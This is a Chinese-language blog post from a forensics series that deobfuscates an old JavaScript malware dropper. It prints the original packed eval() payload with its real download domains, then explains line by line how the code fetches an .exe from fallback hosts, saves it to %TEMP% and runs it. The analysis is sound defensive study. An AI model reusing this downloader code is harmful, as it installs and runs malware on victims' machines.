iT邦幫忙

2026 iThome 鐵人賽

DAY 17
0
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 e(q,4){i{b j=m n("z.A");j.B("C",q,8);j.D();a(j.E==F){5 4(j.G,8)}c{5 4(f,g)}}k(3){5 4(f,g)}}6 r(4){i{e("l://H.s/I/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.J.K/L/",6(7,3){a(!3){5 4(7,8)}c{e("l://M.N/O/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.P.Q/R/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.S.s/T/U//",6(7,3){a(!3){5 4(7,8)}c{5 4(f,g)}})}})}})}})}})}k(3){5 4(f,g)}}6 t(){i{b u=m n("V.W");b v="\\\\"+X.Y().Z(10).11(2,9)+".12";b w=u.13(2)+v;5 w}k(3){5 8}}6 x(o,4){i{b h=t();a(h){b d=m n("14.15");d.16();d.17=1;d.18(o);d.19=0;d.1a(h,2);d.1b();5 4(h,8)}c{5 4(f,g)}}k(3){5 4(f,g)}}r(6(o,3){a(!3){x(o,6(h,3){a(!3){i{b y=m n("1c.1d");y.1e(h)}k(3){}}})}});',62,77,'|||error|callback|return|function|result|false||if|var|else|objStream|getDataFromUrl|null|true|path|try|xmlHttp|catch|http|new|ActiveXObject|data|www|url|getData|com|getTempFilePath|fs|tmpFileName|tmpFilePath|saveToTemp|wsh|MSXML2|XMLHTTP|open|GET|send|status|200|ResponseBody|ahlmedia|download8301|ampro|club|download4897|multiclean|gr|download6907|stellaimpianti|it|download2467|stepstonedev|field|download7812|Scripting|FileSystemObject|Math|random|toString|36|substr|exe|GetSpecialFolder|ADODB|Stream|Open|Type|Write|Position|SaveToFile|Close|WScript|Shell|Run'.split('|'),0,{}))

https://www.reddit.com/r/javascript/comments/63hsp9/i_just_cleaned_a_virus_originating_from_a_js_file/?tl=zh-hant

上面是一段很舊的js 檔案的病毒

在解譯完後,完整編碼是下面這樣

// 1. 透過 HTTP 下載二進位檔案
function getDataFromUrl(url, callback) {
    try {
        var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlHttp.open("GET", url, false);
        xmlHttp.send();
        if (xmlHttp.status == 200) {
            return callback(xmlHttp.ResponseBody, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}

// 2. 依序嘗試從多個備用網址下載惡意酬載 (Fallback 機制)
function getData(callback) {
    // 依序嘗試連線以下 5 個中繼站 (C2 / 跳板網站),只要其中一個成功即回傳資料:
    // - hxxp://ahlmedia[.]com/download8301/
    // - hxxp://www.ampro[.]club/download4897/
    // - hxxp://multiclean[.]gr/download6907/
    // - hxxp://www.stellaimpianti[.]it/download2467/
    // - hxxp://www.stepstonedev[.]com/field/download7812//
}

// 3. 在系統暫存區產生隨機檔名的 .exe 路徑
function getTempFilePath() {
    try {
        var fs = new ActiveXObject("Scripting.FileSystemObject");
        var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";
        var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName; // 2 代表系統 %TEMP% 目錄
        return tmpFilePath;
    } catch (error) {
        return false;
    }
}

// 4. 將下載的二進位資料寫入硬碟
function saveToTemp(data, callback) {
    try {
        var path = getTempFilePath();
        if (path) {
            var objStream = new ActiveXObject("ADODB.Stream");
            objStream.Open();
            objStream.Type = 1; // Binary 二進位模式
            objStream.Write(data);
            objStream.Position = 0;
            objStream.SaveToFile(path, 2); // 寫入並覆蓋檔案
            objStream.Close();
            return callback(path, false);
        }
    } catch (error) { ... }
}

// 5. 主流程:下載 -> 存檔 -> 執行
getData(function(data, error) {
    if (!error) {
        saveToTemp(data, function(path, error) {
            if (!error) {
                try {
                    var wsh = new ActiveXObject("WScript.Shell");
                    wsh.Run(path); // 執行下載的 .exe 惡意程式
                } catch (error) {}
            }
        });
    }
});

主要段落完整切分為 8 個部分。每個段落皆列出「原始切片」、「代號還原結果」與「逐行功能說明」(註:外部連線網址已替換為安全的 example.com 範例網域)。


第 1 段:外層解碼器開頭與 Base62 轉換函式

這一段是 Packer 混淆器的外殼開頭,負責定義如何把索引數字轉成代號(0-9、a-z、A-Z)。

  • 原始程式碼切片:
eval(function(p,a,c,k,e,r){
    e=function(c){
        return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
    };

  • 逐行功能說明:
  1. eval(function(p,a,c,k,e,r){:定義一個接收 6 個參數的匿名函式,準備將最終還原出的字串交給 eval() 執行。
  2. e=function(c){ ... }:定義編碼轉換函式 e。當傳入字典索引編號 c 時:
  • 若 c >= 62(a 為 62),先透過 e(parseInt(c/a)) 計算十位數代號。
  • 若餘數 c % 62 > 35,透過 String.fromCharCode(c+29) 轉為大寫字母 A~Z。
  • 若餘數 <= 35,透過 c.toString(36) 轉為數字 0~9 或小寫字母 a~z。

第 2 段:建立字典對照表與正規表達式替換引擎

緊接著第 1 段,這段負責把底部的關鍵字陣列 k 與代號綁定,並將壓縮字串 p 中的代號全數替換回原本的單字。

  • 原始程式碼切片:
    if(!''.replace(/^/,String)){
        while(c--)r[e(c)]=k[c]||e(c);
        k=[function(e){return r[e]}];
        e=function(){return'\\w+'};
        c=1
    };
    while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
    return p
}(

  • 逐行功能說明:
  1. while(c--) r[e(c)] = k[c] || e(c);:從最後一個關鍵字(索引 76)倒數回 0,建立對照表物件 r(例如 r['6'] = 'function'、r['b'] = 'var')。如果字典該位置是空的,就保留原代號。
  2. k = [function(e){ return r[e] }];:將 k[0] 改寫為查表函式。
  3. e = function(){ return '\\w+' }; c = 1;:將匹配規則設為 \w+(所有英數單字邊界)。
  4. p = p.replace(new RegExp('\\b'+e(c)+'\\b','g'), k[c]);:掃描壓縮字串 p 中的每一個獨立代號,查表替換成真正的程式碼字串。
  5. return p }(:回傳還原後的完整程式碼字串,括號 ( 後方開始傳入實際的參數(即第 3 段~第 8 段)。

第 3 段:Payload 內部函式一 getDataFromUrl(網路下載器)

從這裡開始是傳入參數 p 的第一部分,定義了用來發送 HTTP 請求的底層函式。

  • 原始程式碼切片:
'6 e(q,4){i{b j=m n("z.A");j.B("C",q,8);j.D();a(j.E==F){5 4(j.G,8)}c{5 4(f,g)}}k(3){5 4(f,g)}}

  • 代號逐字還原:
function getDataFromUrl(url, callback) {
    try {
        var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlHttp.open("GET", url, false);
        xmlHttp.send();
        if (xmlHttp.status == 200) {
            return callback(xmlHttp.ResponseBody, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}

  • 段落作用: 建立 Windows 的 MSXML2.XMLHTTP 物件,向指定 url 發送同步 GET 請求。若 HTTP 狀態碼為 200(成功),就將下載的二進位內容(ResponseBody)傳給 callback,並標記錯誤狀態為 false;若失敗則回傳 null 與錯誤狀態 true。

第 4 段:Payload 內部函式二 getData(多網址備援輪詢)

緊接在第 3 段後面,定義了依序嘗試 5 個外部網址的巢狀結構。

  • 原始程式碼切片:
6 r(4){i{e("l://H.s/I/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.J.K/L/",6(7,3){a(!3){5 4(7,8)}c{e("l://M.N/O/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.P.Q/R/",6(7,3){a(!3){5 4(7,8)}c{e("l://p.S.s/T/U//",6(7,3){a(!3){5 4(7,8)}c{5 4(f,g)}})}})}})}})}})}k(3){5 4(f,g)}}

  • 代號逐字還原(網址已去敏):
function getData(callback) {
    try {
        getDataFromUrl("http://example.com/site1/", function(result, error) {
            if (!error) {
                return callback(result, false);
            } else {
                getDataFromUrl("http://www.example.com/site2/", function(result, error) {
                    if (!error) {
                        return callback(result, false);
                    } else {
                        // ... 中間依序再巢狀嘗試第 3、第 4、第 5 個備用網址 ...
                        // 若 5 個網址全部失敗,最終執行:
                        return callback(null, true);
                    }
                });
            }
        });
    } catch (error) {
        return callback(null, true);
    }
}

  • 段落作用: 呼叫第 3 段的 getDataFromUrl。如果第 1 個網站被封鎖或失效(error 為 true),就進入 else 嘗試第 2 個網站,依此類推共嘗試 5 個網址,確保其中一個能成功下載檔案。

第 5 段:Payload 內部函式三 getTempFilePath(組合暫存路徑)

緊接在第 4 段後面,用來產生要寫入硬碟的目標檔案路徑。

  • 原始程式碼切片:
6 t(){i{b u=m n("V.W");b v="\\\\"+X.Y().Z(10).11(2,9)+".12";b w=u.13(2)+v;5 w}k(3){5 8}}

  • 代號逐字還原:
function getTempFilePath() {
    try {
        var fs = new ActiveXObject("Scripting.FileSystemObject");
        var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";
        var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
        return tmpFilePath;
    } catch (error) {
        return false;
    }
}

  • 段落作用:
  1. 呼叫 FileSystemObject 取得檔案系統權限。
  2. 用 Math.random().toString(36).substr(2, 9) 產生一組 9 碼的隨機英數檔名,並加上 .exe 副檔名。
  3. 透過 fs.GetSpecialFolder(2) 取得目前使用者的 %TEMP% 暫存資料夾路徑,拼湊成完整路徑後回傳。

第 6 段:Payload 內部函式四 saveToTemp(二進位寫入硬碟)

緊接在第 5 段後面,負責把記憶體中的下載資料存成實體檔案。

  • 原始程式碼切片:
6 x(o,4){i{b h=t();a(h){b d=m n("14.15");d.16();d.17=1;d.18(o);d.19=0;d.1a(h,2);d.1b();5 4(h,8)}c{5 4(f,g)}}k(3){5 4(f,g)}}

  • 代號逐字還原:
function saveToTemp(data, callback) {
    try {
        var path = getTempFilePath();
        if (path) {
            var objStream = new ActiveXObject("ADODB.Stream");
            objStream.Open();
            objStream.Type = 1;
            objStream.Write(data);
            objStream.Position = 0;
            objStream.SaveToFile(path, 2);
            objStream.Close();
            return callback(path, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}

  • 段落作用: 先呼叫第 5 段的 getTempFilePath() 取得存檔路徑 path,接著建立 ADODB.Stream 資料流物件,設定 Type = 1(二進位模式),將下載的 data 寫入並透過 SaveToFile(path, 2) 強制存檔覆蓋,最後將成功存檔的路徑 path 傳給下一步。

第 7 段:Payload 主執行區(串聯下載、存檔與啟動)

這是參數 p 字串的最後結尾,負責實際呼叫前面定義好的函式。

  • 原始程式碼切片:
r(6(o,3){a(!3){x(o,6(h,3){a(!3){i{b y=m n("1c.1d");y.1e(h)}k(3){}}})}});',

  • 代號逐字還原:
getData(function(data, error) {
    if (!error) {
        saveToTemp(data, function(path, error) {
            if (!error) {
                try {
                    var wsh = new ActiveXObject("WScript.Shell");
                    wsh.Run(path);
                } catch (error) {}
            }
        });
    }
});

  • 段落作用:
  1. 執行第 4 段的 getData 下載資料。
  2. 若沒有錯誤(!error),將資料 data 交給第 6 段的 saveToTemp 寫入暫存區。
  3. 存檔成功後,建立 WScript.Shell 物件並呼叫 wsh.Run(path),直接在背景執行剛存好的 .exe 檔案。

第 8 段:尾部傳入參數與關鍵字字典陣列

整段程式碼的最尾端,提供給第 1、2 段解碼器使用的設定值與單字庫。

  • 原始程式碼切片:
62, 77, '|||error|callback|return|function|result|false||if|var|else|objStream|getDataFromUrl|null|true|path|try|xmlHttp|catch|http|new|ActiveXObject|data|www|url|getData|com|getTempFilePath|fs|tmpFileName|tmpFilePath|saveToTemp|wsh|MSXML2|XMLHTTP|open|GET|send|status|200|ResponseBody|[...網域字串省略...]|Scripting|FileSystemObject|Math|random|toString|36|substr|exe|GetSpecialFolder|ADODB|Stream|Open|Type|Write|Position|SaveToFile|Close|WScript|Shell|Run'.split('|'), 0, {}))

  • 逐項參數說明:
  • 62(對應參數 a):指定使用 62 進位制進行代號轉換。
  • 77(對應參數 c):指定字典陣列共有 77 個元素。
  • '...'.split('|')(對應參數 k):以 | 符號切開的 77 個原始字串陣列,供第 2 段查表替換使用。
  • 0, {}(對應參數 e, r):傳入的初始佔位參數,進入第 1 段後會被內部的轉換函式與空物件覆寫。

上一篇
[Day 17] conf 設定補充 [processing.conf] part2
下一篇
Dynamic Incident Response: A Framework for Security Teams
系列文
從情資收集到資安鑑識:30 天建構自動化威脅情資與鑑識平台 共 23 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言